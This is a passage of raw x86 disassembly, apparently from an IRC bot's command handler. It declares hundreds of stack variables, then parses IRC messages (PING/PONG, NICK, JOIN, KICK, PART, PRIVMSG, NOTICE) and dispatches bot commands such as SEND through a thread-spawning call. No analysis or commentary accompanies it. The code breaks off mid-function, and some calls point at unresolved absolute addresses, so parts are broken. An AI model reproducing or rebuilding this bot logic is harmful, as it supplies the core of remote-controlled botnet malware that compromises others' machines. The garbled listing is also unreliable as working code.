var_2AB8	= dword	ptr -2AB8h
var_2AB4	= dword	ptr -2AB4h
var_2AB0	= dword	ptr -2AB0h
var_2AA8	= byte ptr -2AA8h
var_2990	= byte ptr -2990h
var_2910	= dword	ptr -2910h
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= dword	ptr -2900h
var_28FC	= dword	ptr -28FCh
var_28F8	= byte ptr -28F8h
var_2878	= byte ptr -2878h
var_2778	= byte ptr -2778h
var_2678	= dword	ptr -2678h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= dword	ptr -2658h
var_2654	= dword	ptr -2654h
var_2650	= byte ptr -2650h
var_25D0	= byte ptr -25D0h
var_24D0	= byte ptr -24D0h
var_23D0	= dword	ptr -23D0h
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= dword	ptr -23B0h
var_23AC	= dword	ptr -23ACh
var_23A8	= byte ptr -23A8h
var_2328	= byte ptr -2328h
var_22A8	= byte ptr -22A8h
var_2228	= dword	ptr -2228h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= dword	ptr -221Ch
var_2218	= dword	ptr -2218h
var_2214	= byte ptr -2214h
var_2194	= byte ptr -2194h
var_2114	= byte ptr -2114h
var_2094	= dword	ptr -2094h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= dword	ptr -2088h
var_2084	= dword	ptr -2084h
var_2080	= byte ptr -2080h
var_2000	= byte ptr -2000h
var_1F80	= byte ptr -1F80h
var_1F00	= dword	ptr -1F00h
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= dword	ptr -1EF4h
var_1EF0	= dword	ptr -1EF0h
var_1EEC	= byte ptr -1EECh
var_1DEC	= byte ptr -1DECh
var_1D6C	= dword	ptr -1D6Ch
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= dword	ptr -1D54h
var_1D50	= dword	ptr -1D50h
var_1D48	= byte ptr -1D48h
var_1D34	= byte ptr -1D34h
var_1C30	= byte ptr -1C30h
var_1BAC	= dword	ptr -1BACh
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1BA0	= dword	ptr -1BA0h
var_1B9C	= dword	ptr -1B9Ch
var_1B94	= byte ptr -1B94h
var_1B80	= byte ptr -1B80h
var_1A7C	= byte ptr -1A7Ch
var_19FC	= dword	ptr -19FCh
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= dword	ptr -19ECh
var_19E8	= dword	ptr -19E8h
var_19E4	= byte ptr -19E4h
var_1964	= byte ptr -1964h
var_1924	= byte ptr -1924h
var_1824	= dword	ptr -1824h
var_1820	= dword	ptr -1820h
var_1814	= dword	ptr -1814h
var_1810	= dword	ptr -1810h
var_180C	= dword	ptr -180Ch
var_1808	= byte ptr -1808h
var_17D0	= byte ptr -17D0h
var_17B4	= byte ptr -17B4h
var_177C	= byte ptr -177Ch
var_1778	= byte ptr -1778h
var_16F8	= byte ptr -16F8h
var_16B8	= byte ptr -16B8h
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= dword	ptr -1618h
var_1614	= byte ptr -1614h
var_1594	= byte ptr -1594h
var_1514	= dword	ptr -1514h
var_1510	= dword	ptr -1510h
var_150C	= dword	ptr -150Ch
var_1508	= dword	ptr -1508h
var_1504	= byte ptr -1504h
var_14F4	= byte ptr -14F4h
var_1474	= byte ptr -1474h
var_13F4	= dword	ptr -13F4h
var_13EC	= dword	ptr -13ECh
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= dword	ptr -13DCh
var_13D8	= dword	ptr -13D8h
var_13D4	= byte ptr -13D4h
var_1354	= byte ptr -1354h
var_12D4	= byte ptr -12D4h
var_1254	= dword	ptr -1254h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_123C	= dword	ptr -123Ch
var_1238	= dword	ptr -1238h
var_1230	= byte ptr -1230h
var_11B0	= byte ptr -11B0h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1128	= dword	ptr -1128h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1118	= dword	ptr -1118h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_108C	= byte ptr -108Ch
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= dword	ptr -0FECh
var_FE8		= byte ptr -0FE8h
var_F68		= dword	ptr -0F68h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= dword	ptr -0F58h
var_F54		= byte ptr -0F54h
var_ED4		= dword	ptr -0ED4h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= dword	ptr -0EC4h
var_EC0		= byte ptr -0EC0h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= dword	ptr -0E34h
var_E30		= byte ptr -0E30h
var_E10		= byte ptr -0E10h
var_E00		= byte ptr -0E00h
var_D80		= dword	ptr -0D80h
var_D7C		= byte ptr -0D7Ch
var_CFC		= byte ptr -0CFCh
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= dword	ptr -0C5Ch
var_C58		= dword	ptr -0C58h
var_C54		= byte ptr -0C54h
var_BD4		= dword	ptr -0BD4h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= byte ptr -0BC4h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= byte ptr -0A94h
var_A14		= dword	ptr -0A14h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4C8		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_338		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 5D88h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C8], ebx
		call	sub_41B590
		push	1Bh
		lea	eax, [ebp+var_338]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_401E94
		push	esi
		lea	eax, [ebp+var_4488]
		push	ebx
		push	eax
		call	sub_41B590
		dec	esi
		lea	eax, [ebp+var_4488]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	offset asc_42D0F4 ; " :"
		push	eax
		call	sub_41B900
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_4488]
		push	esi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		mov	esi, offset asc_42D0F0 ; " "
		lea	eax, [ebp+var_4AF0]
		push	esi
		push	eax
		call	sub_41C0F4
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+var_A8], 1Fh


loc_401BA0:				; CODE XREF: sub_401ACD+E7j
		push	esi
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A8]
		pop	ecx
		jnz	short loc_401BA0
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_401E94
		cmp	[ebp+var_8C], ebx
		jz	loc_401E94
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_401BEE:				; CODE XREF: sub_401ACD+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401C1A
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401C22
		cmp	[eax+2], bl
		jnz	short loc_401C22
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_401C1A:				; CODE XREF: sub_401ACD+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401BEE


loc_401C22:				; CODE XREF: sub_401ACD+12Aj
					; sub_401ACD+12Fj
		cmp	[ebp+var_8ED], bl
		jz	short loc_401C2D
		mov	[ebp+var_8], edi


loc_401C2D:				; CODE XREF: sub_401ACD+15Bj
		cmp	[ebp+var_8F2], bl
		jz	short loc_401C3B
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_401C3B:				; CODE XREF: sub_401ACD+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401C75
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		push	offset asc_42D0EC ; "!"
		push	eax
		call	sub_41C0F4
		add	esp, 20h


loc_401C75:				; CODE XREF: sub_401ACD+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401CC6
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401D6A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		jmp	loc_401D6A
; ---------------------------------------------------------------------------


loc_401CC6:				; CODE XREF: sub_401ACD+1B7j
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E0
		push	esi
		push	offset a005	; "005"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E0
		push	esi
		push	offset a302	; "302"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D2E
		push	offset a@	; "@"
		push	[ebp+var_84]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D6A
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_41B5F0
		jmp	short loc_401D67
; ---------------------------------------------------------------------------


loc_401D2E:				; CODE XREF: sub_401ACD+238j
		push	esi
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D71
		push	ebx
		push	dword_4290A0
		push	dword_42909C
		push	[ebp+arg_10]
		call	sub_40B08D
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C


loc_401D67:				; CODE XREF: sub_401ACD+25Fj
		add	esp, 0Ch


loc_401D6A:				; CODE XREF: sub_401ACD+1D8j
					; sub_401ACD+1F4j ...
		mov	eax, edi
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_401D71:				; CODE XREF: sub_401ACD+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A8], 3
		mov	edi, 80h


loc_401D83:				; CODE XREF: sub_401ACD+2DBj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401DA0
		mov	[ebp+var_A4], 1


loc_401DA0:				; CODE XREF: sub_401ACD+2C7j
		add	esi, edi
		dec	[ebp+var_A8]
		jnz	short loc_401D83
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401E9C
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3


loc_401DCF:				; CODE XREF: sub_401ACD+392j
		cmp	[esi], bl
		jz	loc_401E5A
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E5A
		cmp	[ebp+var_84], ebx
		jz	short loc_401E5A
		push	[ebp+var_84]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E5A
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42D080
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		add	esp, 14h


loc_401E5A:				; CODE XREF: sub_401ACD+304j
					; sub_401ACD+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401DCF
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E94
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_401E89:				; CODE XREF: sub_401ACD+612j
					; sub_401ACD+8D5j ...
		push	[ebp+arg_4]
		call	sub_409A2C


loc_401E91:				; CODE XREF: sub_401ACD+253Bj
					; sub_401ACD+2558j ...
		add	esp, 10h


loc_401E94:				; CODE XREF: sub_401ACD+5Bj
					; sub_401ACD+F1j ...
		push	1


loc_401E96:				; CODE XREF: sub_401ACD+2A61j
		pop	eax


loc_401E97:				; CODE XREF: sub_401ACD+29Fj
					; sub_401ACD+2A83j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401E9C:				; CODE XREF: sub_401ACD+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401FF2
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax


loc_401EC5:				; CODE XREF: sub_401ACD+44Aj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F12
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_401F12
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_41BEB0
		push	[ebp+arg_1C]
		push	edi
		call	sub_41BEC0
		add	esp, 10h
		mov	edi, 80h


loc_401F12:				; CODE XREF: sub_401ACD+409j
					; sub_401ACD+420j
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_401EC5
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	loc_401E94
		cmp	[ebp+arg_24], ebx
		jz	loc_401E94
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F5A
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_41B5F0


loc_401F52:				; CODE XREF: sub_401ACD+1C35j
		add	esp, 0Ch
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401F5A:				; CODE XREF: sub_401ACD+476j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_401F5F:				; CODE XREF: sub_401ACD+4B3j
		cmp	[edi], bl
		jz	short loc_401F76
		lea	eax, [ebp+var_E00]
		push	eax
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F87


loc_401F76:				; CODE XREF: sub_401ACD+494j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401F5F
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401F87:				; CODE XREF: sub_401ACD+4A7j
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	eax
		call	sub_41AFE0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_401E94
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_45EC]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 24h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401FF2:				; CODE XREF: sub_401ACD+3DEj
		push	esi
		push	offset aPart	; "PART"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402014
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40203B


loc_402014:				; CODE XREF: sub_401ACD+534j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_402019:				; CODE XREF: sub_401ACD+56Cj
		cmp	[edi], bl
		jz	short loc_40202F
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402083


loc_40202F:				; CODE XREF: sub_401ACD+54Ej
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402019


loc_40203B:				; CODE XREF: sub_401ACD+545j
		push	[ebp+var_8C]
		push	offset a353	; "353"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4020E4
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40206F
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_40206F:				; CODE XREF: sub_401ACD+597j
		push	[ebp+var_80]
		push	offset unk_42D02C


loc_402077:				; CODE XREF: sub_401ACD+28CCj
					; sub_401ACD+2C4Cj ...
		call	sub_415220


loc_40207C:				; CODE XREF: sub_401ACD+1BE1j
		pop	ecx


loc_40207D:				; CODE XREF: sub_401ACD+7B6Fj
		pop	ecx
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402083:				; CODE XREF: sub_401ACD+560j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42D008
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+var_8C]
		push	offset aPart	; "PART"
		call	sub_41C070
		add	esp, 18h
		test	eax, eax
		jnz	loc_401E94
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4020E4:				; CODE XREF: sub_401ACD+582j
		push	[ebp+var_8C]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_41C070
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	offset dword_42CFF4
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854
		cmp	dword_429088, ebx
		jz	loc_409854


loc_402138:				; CODE XREF: sub_401ACD+631j
					; sub_401ACD+643j
		push	[ebp+var_8C]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		push	4
		mov	[ebp+var_88], eax
		pop	esi
		mov	[ebp+var_AC], esi


loc_40217C:				; CODE XREF: sub_401ACD+8ADj
					; sub_401ACD+8E9j ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_90]
		lea	edi, [ebp+esi+var_90]
		push	eax
		push	offset dword_42CFEC
		mov	[ebp+arg_8], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402557
		push	[ebp+esi+var_8C]
		push	offset aSend_0	; "SEND"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40241E
		cmp	[ebp+var_A4], ebx
		jz	loc_4023F7
		push	[ebp+esi+var_88]
		mov	edi, offset aS_2 ; "%s"
		lea	eax, [ebp+var_1B80]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_1B94]
		push	[ebp+esi+var_84]
		push	edi
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_19FC],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1B9C],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_19F4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_19F0],	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		lea	eax, [ebp+var_1B80]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CFB0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_19F8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1B9C]
		push	ebx
		push	eax
		push	offset loc_4161BC
		push	ebx
		push	ebx
		call	near ptr 2670579h
		nop
		mov	ecx, [ebp+var_19F8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	loc_4023E6


loc_4022A8:				; CODE XREF: sub_401ACD+7EFj
		cmp	[ebp+var_19EC],	ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_4022A8
; ---------------------------------------------------------------------------


loc_4022BE:				; CODE XREF: sub_401ACD+67Bj
					; sub_401ACD+691j
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4022D7
		mov	[ebp+var_4], 1


loc_4022D7:				; CODE XREF: sub_401ACD+801j
		cmp	[ebp+var_88], ebx
		jz	loc_401E94
		push	offset dword_42CFAC
		push	[ebp+var_88]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022FE
		cmp	[ebp+var_4], ebx
		jz	short loc_40230A


